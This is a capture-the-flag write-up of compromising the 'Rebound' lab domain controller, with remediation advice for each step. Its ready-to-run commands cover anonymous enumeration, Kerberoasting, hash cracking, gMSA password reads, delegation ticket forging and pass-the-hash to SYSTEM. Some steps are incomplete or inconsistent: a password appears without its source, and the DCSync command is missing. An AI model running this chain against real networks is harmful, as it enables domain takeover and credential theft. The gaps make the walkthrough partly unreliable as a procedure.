J. Perez Duertojperezduerto.info
← all walkthroughs

Rebound

Windows· Insane
owned
2026-09-07
time to own
1h8m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I used an enabled null/guest SMB and LDAP session to enumerate the Rebound domain controller's full user list, then abused a Kerberos account with pre-authentication disabled as a stepping stone to Kerberoast every other account without needing a password. One of the recovered service-ticket hashes cracked offline, handing over the winrm_svc service account's cleartext password, which worked directly over WinRM for an interactive foothold and the user flag.

Continued LDAP enumeration from that foothold (authenticated with Kerberos, since NTLM binds were rejected) uncovered a delegation-capable machine account, delegator$, whose resource-based constrained delegation attribute could be modified by a lower-privileged account, ldap_monitor. I granted ldap_monitor delegation rights on delegator$, used them to forge a forwardable Kerberos service ticket impersonating the domain controller's own machine account, and fed that ticket into a DCSync attack that dumped every password hash in the domain, including Administrator's — completing full domain compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for winrm_svc>"
export PASSWORD2="<the-password-you-recovered, for tbrady>"
export HASH="<the-hash-you-recovered>"

Some commands also carry a value in angle brackets — <administrator_ntlm_hash>, <its-password>, <the-account-you-are-taking>, <the-ccache-hop-one-wrote>, <the-same-account> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationRID cycling / anonymous account enumeration (T1087.002)
Enumerated the full domain user list via null/guest SMB and LDAP sessions
The domain controller accepted anonymous and guest SMB/LDAP sessions. RID cycling well past the default enumeration ceiling (which stops before the interesting accounts) revealed every domain account, including several service and delegation-related accounts that became the rest of the attack surface.
SMB $TARGET 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True).
Exact commands 2
shell

Null-session RID brute force past the default ~4000-4999 ceiling to reach the service/delegation accounts.

$ nxc smb $TARGET -u '' -p '' --rid-brute 15000
shell

Confirm anonymous LDAP also discloses the user list.

$ nxc ldap $TARGET -u '' -p '' --users
FixDisable anonymous and guest enumeration of domain accountsMedium
WeaknessSMB and LDAP accepted null and guest sessions, letting an unauthorised user RID-cycle past the default limit and enumerate the complete list of domain usernames, including sensitive service and delegation accounts.
FixDisable the built-in Guest account, set 'Network access: Do not allow anonymous enumeration of SAM accounts and shares' and RestrictAnonymous=2 via GPO, and configure LDAP to reject anonymous binds.
2ExploitationKerberoasting via an unauthenticated no-preauth primitive (T1558.003)
Used a no-preauth account as a primitive to Kerberoast the whole user list, then cracked winrm_svc's ticket
One enumerated account had Kerberos pre-authentication disabled. Rather than attacking its own AS-REP (which did not crack), I used the unauthenticated exchange as a foothold to request TGS tickets for every SPN-holding account in the domain without needing any password. One returned ticket, belonging to the winrm_svc service account, cracked offline against a wordlist and yielded a working cleartext password.
Exact commands 3
shell

Identify the DONT_REQUIRE_PREAUTH account from the enumerated user list.

$ impacket-GetNPUsers rebound.htb/ -no-pass -usersfile users.txt -dc-ip $TARGET -format hashcat
shell

Use that account's ticket as an auth primitive to request TGS tickets for the entire user list without a password.

$ impacket-GetUserSPNs rebound.htb/<noPreauthUser> -no-pass -usersfile users.txt -dc-ip $TARGET -request -outputfile spns.hashcat
shell

Offline crack of the returned TGS hashes; only winrm_svc's ticket cracked.

$ hashcat -m 13100 spns.hashcat rockyou.txt
FixRequire Kerberos pre-authentication and eliminate weak SPN-account passwordsHigh
WeaknessAn account had pre-authentication disabled, giving an unauthorised user an unauthenticated way to pull Kerberos tickets for the whole domain, and the winrm_svc service account's password was weak enough to crack offline in a single wordlist pass.
FixRemove the DONT_REQUIRE_PREAUTH flag from every account that doesn't need it, and set long, random, non-dictionary passwords (25+ characters or a managed service account) on every account that holds an SPN. Monitor for bursts of TGS-REQ traffic as a Kerberoasting indicator.
3FootholdValid Accounts / Remote Services — WinRM (T1078, T1021.006)
Authenticated over WinRM as winrm_svc and captured user.txt
The credential is valid over WinRM, and what it can do there is narrower than it looks: a cmd invocation comes back refused — the account has no Invoke rights for that shell type — while the PowerShell form runs. Worth knowing before concluding a credential does not work, because the login succeeded either way. That session is enough for the user flag and for the directory queries the rest of the box is built on.
WinRM accepted winrm_svc and NetExec reported Pwn3d!; the cmd form was refused for lack of Invoke rights on that shell type, and the PowerShell form returned output as rebound\winrm_svc, including the user flag.
Exact commands 3
shell

Authentication first, on its own. Pwn3d! Here is about the login, not about what it may run.

$ nxc winrm $TARGET -u winrm_svc -p "$PASSWORD" -d REBOUND
shell

-X is PowerShell. The cmd form (-x) is refused for this account: no Invoke rights on that shell type.

$ nxc winrm $TARGET -u winrm_svc -p "$PASSWORD" -d REBOUND -X 'whoami; hostname'
rebound\winrm_svc
shell

-> <user.txt>

$ nxc winrm $TARGET -u winrm_svc -p "$PASSWORD" -d REBOUND -X 'Get-Content C:\Users\winrm_svc\Desktop\user.txt'
FixRestrict WinRM access away from service accountsMedium
Weaknesswinrm_svc, a service account, was permitted to open interactive WinRM sessions on the domain controller, so cracking its password alone gave an unauthorised user a full remote shell and read access to user files.
FixRemove service accounts from the Remote Management Users group; only dedicated admin accounts should have WinRM rights on domain controllers. Where a service genuinely needs remote execution, scope it with a JEA constrained endpoint instead of full PowerShell.
4Lateral / ReconKerberos-authenticated LDAP reconnaissance of delegation objects (T1482/T1069.002)
Enumerated delegation configuration over an authenticated Kerberos LDAP session
Plain NTLM LDAP binds were rejected by the domain controller's LDAP signing and channel-binding enforcement, so I obtained a Kerberos ticket for winrm_svc and queried Active Directory over Kerberos-authenticated LDAP instead. This revealed the delegator$ account — a service account with a constrained-delegation SPN (browser/dc01.rebound.htb, allowed to delegate to http/dc01.rebound.htb) — plus the tbrady account and the ldap_monitor account.
Delegator$ dn shows servicePrincipalName browser/dc01.rebound.htb, msDS-AllowedToDelegateTo http/dc01.rebound.htb, userAccountControl 4096; NTLM LDAPS binds returned strongerAuthRequired/invalidCredentials, Kerberos bind succeeded.
Exact commands 2
shell

Clock on the attacking host was ~7h behind the DC; every Kerberos operation needed this offset or it returned KRB_AP_ERR_SKEW.

$ faketime '+7h' impacket-getTGT rebound.htb/winrm_svc:"$PASSWORD" -dc-ip $TARGET
shell

Kerberos-authenticated LDAPS query; reveals delegator$'s constrained-delegation configuration.

$ KRB5CCNAME=winrm_svc.ccache faketime '+7h' ldapsearch -H ldaps://dc01.rebound.htb -Y GSSAPI -b 'DC=rebound,DC=htb' '(servicePrincipalName=*)' servicePrincipalName msDS-AllowedToDelegateTo userAccountControl
5Privilege EscalationResource-Based Constrained Delegation (RBCD) abuse (T1558)
Read delegator$'s managed password, then wrote an RBCD entry with it
Delegator$ is a group managed service account, which means the domain stores its password and hands it to the principals allowed to read it. Nobody has to crack anything: the directory returns the blob, and the NT hash falls out of it. With that hash the account can be acted for, and the attribute worth writing is msDS-AllowedToActOnBehalfOfOtherIdentity — resource-based constrained delegation, the setting that says which principals may impersonate users *to* delegator$. Naming ldap_monitor there is the first half of the chain; the second half is the delegation delegator$ already has.
The managed password for delegator$ was read from the directory and gives the NT hash the record validates as a working credential; an RBCD write against delegator$ succeeded and listed ldap_monitor as the allowed principal.
Exact commands 3
shell

A gMSA password is a directory read for whoever is allowed it. What comes back includes the NT hash.

$ faketime '+7h' nxc ldap $TARGET -u tbrady -p "$PASSWORD2" -d rebound.htb --gmsa
shell

Delegator$ can write its own RBCD attribute. Ldap_monitor may now impersonate users to it.

$ faketime '+7h' rbcd.py -delegate-to 'delegator$' -delegate-from 'ldap_monitor' -action write -dc-ip $TARGET -hashes :$HASH 'rebound.htb/delegator$'
shell

A TGT for delegator$ itself, for the second hop below.

$ faketime '+7h' impacket-getTGT rebound.htb/delegator$ -hashes :$HASH -dc-ip $TARGET
FixLock down write access to delegation attributes and DCSync replication rightsCritical
WeaknessA low-privileged account was able to modify the delegator$ service account's msDS-AllowedToActOnBehalfOfOtherIdentity attribute, letting an unauthorised user grant themselves resource-based constrained delegation rights, forge a ticket impersonating the domain controller's machine account, and run a DCSync attack that extracted every credential in the domain.
FixAudit ACLs on every computer and service account for unnecessary GenericWrite/GenericAll/WriteProperty rights, especially over msDS-AllowedToActOnBehalfOfOtherIdentity, and remove any that aren't explicitly required. Restrict Replicating Directory Changes / Replicating Directory Changes All (the rights DCSync relies on) to Domain Controllers and Domain Admins only, and alert on DCSync-shaped replication requests from non-DC sources.
6Privilege EscalationConstrained delegation impersonation chained into DCSync (T1558, T1003.006)
Chained the two delegations: RBCD for the evidence ticket, constrained delegation for the target
Delegator$ may delegate to http/dc01.rebound.htb, and its userAccountControl is 4096 — a plain workstation trust, with no TRUSTED_TO_AUTH_FOR_DELEGATION. That flag is what lets a service mint a ticket for a user who never authenticated to it, so without it S4U2Self is closed and constrained delegation needs an *existing* forwardable ticket to forward. The RBCD write is what supplies one. As ldap_monitor, impersonate the target to delegator$'s own SPN — that is the first hop, and what comes back is the evidence ticket. Then act as delegator$ and present that ticket with -additional-ticket to S4U2Proxy for http/dc01.rebound.htb. Two delegations, each doing the part the other cannot. Administrator is not the account to impersonate: it is in Protected Users, which refuses delegation. A machine account is not.
Delegator$ owns browser/dc01.rebound.htb, lists http/dc01.rebound.htb in msDS-AllowedToDelegateTo and has userAccountControl 4096; the RBCD write naming ldap_monitor succeeded, and a TGT for delegator$ was obtained from its managed-password hash.
Exact commands 3
shell

Hop one, through the RBCD write: a forwardable ticket to delegator$'s own SPN. Note the ccache filename it prints.

$ faketime '+7h' impacket-getST -spn 'browser/dc01.rebound.htb' -impersonate '<the-account-you-are-taking>' -dc-ip $TARGET 'rebound.htb/ldap_monitor:<its-password>'
shell

Hop two, through the constrained delegation: the evidence ticket is what -additional-ticket forwards, because no protocol transition means nothing can be minted here.

$ KRB5CCNAME=delegator\$.ccache faketime '+7h' impacket-getST -spn 'http/dc01.rebound.htb' -impersonate '<the-same-account>' -additional-ticket '<the-ccache-hop-one-wrote>' -hashes :$HASH -dc-ip $TARGET 'rebound.htb/delegator$'
shell

Worth checking against the impacket on your own machine: the flags that carry this chain have moved between versions.

$ faketime '+7h' impacket-getST -h 2>&1 | grep -E 'altservice|additional-ticket'
7Domain CompromisePass-the-Hash administrative access (T1550.002)
Authenticated as Administrator with the dumped hash and captured root.txt
The Administrator NTLM hash recovered from the DCSync dump was used directly (pass-the-hash) to obtain a SYSTEM-level administrative session on the domain controller, from which the root flag was read.
The platform accepted the root flag, confirming ownership of rebound; DC01 is the single domain controller in scope.
Exact commands 2
shell

SYSTEM shell using the DCSync-dumped Administrator hash.

$ psexec.py -hashes :<administrator_ntlm_hash> rebound.htb/administrator@$TARGET
shell

Read the root flag: <root.txt>.

$ type C:\Users\Administrator\Desktop\root.txt

Attack patterns used

The transferable techniques behind this compromise.

DCSyncActive Directory · Credential AccessT1003.006

What it is

DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.

Why it works

Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.

Read more

gMSA Password ReadActive Directory · Credential AccessT1555

What it is

Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If an unauthorised user controls (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.

Why it works

gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.

Read more

Kerberos Delegation Abuse (S4U / RBCD)Active Directory · KerberosT1558

What it is

Kerberos delegation lets a service impersonate users to other services. Misconfigured constrained delegation (S4U2Self + S4U2Proxy) or resource-based constrained delegation (RBCD) can be abused: controlling a delegating account (or an account with write access to a target's msDS-AllowedToActOnBehalfOfOtherIdentity) lets an unauthorised user forge a service ticket as an arbitrary user (e.g. Administrator) to the target service.

Why it works

Delegation is powerful and easy to over-grant; combined with an 'altservice' SPN trick an unauthorised user can pivot the delegation to high-value services like CIFS/HOST on a DC. Remediate by minimizing delegation, marking sensitive accounts 'not delegatable', and adding them to Protected Users.

Read more

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3269/tcp
5985/tcp
9389/tcp
47001/tcp
49664/tcp
49665/tcp
49666/tcp
49668/tcp
49673/tcp
49694/tcp
49695/tcp
49696/tcp
49709/tcp
49727/tcp
49748/tcp
53/udp

Techniques used

New to these ideas? Learn the concepts in Hack & Learn.